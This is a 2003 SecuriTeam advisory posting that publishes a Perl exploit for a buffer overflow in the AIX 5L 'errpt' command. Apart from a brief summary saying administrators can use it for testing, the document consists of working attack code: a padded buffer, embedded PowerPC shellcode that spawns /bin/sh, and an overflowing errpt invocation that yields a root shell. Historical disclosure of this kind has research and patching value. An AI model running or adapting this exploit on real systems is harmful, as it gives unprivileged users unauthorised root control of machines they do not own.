[EXPL] Exploit Code Released for errpt

From: SecuriTeam (support_at_securiteam.com)
Date: 06/11/03

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      Exploit Code Released for errpt
    ------------------------------------------------------------------------

    SUMMARY

    The 'errpt' command used to view error log entries contains a buffer
    overflow that can be abused by non-privileged users to gain root
    privileges. The following exploit code can be used by administrators in
    order to test their system for the mentioned vulnerability.

    DETAILS

    Exploit:
    #!/usr/bin/perl
    # FileName: x_errpt_aix5.pl
    # Exploit command errpt for Aix5L to get a root shell.
    # Tested : on Aix5.1
    # Author : watercloud@xfocus.org
    # Site : www.xfocus.org www.xfocus.net
    # Date : 2003-4-16
    # Announce: use as your owner risk!

    $BUFF="A". "\x7c\xa5\x2a\x79"x500;

    #shellcode from lsd-pl and modified by watercloud 2003-4 for Aix5L
    $BUFF.="\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
    $BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
    $BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb6\x05\xff\xff\x7e\x94\xa2\x79";
    $BUFF.="\x7e\x84\xa3\x78\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40";
    $BUFF.="\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
    $BUFF.="\x4c\xc6\x33\x42\x44\xff\xff\x02\xb7\x05\xff\xff\x38\x75\xff\x04";
    $BUFF.="\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10";
    $BUFF.="\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh";

    %ENV=(); $ENV{CC}=$BUFF;

    exec "/usr/bin/errpt","-T","A"."\x2f\xf2\x2a\x40"x1320;
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud[at]xfocus.org>
    watercloud.

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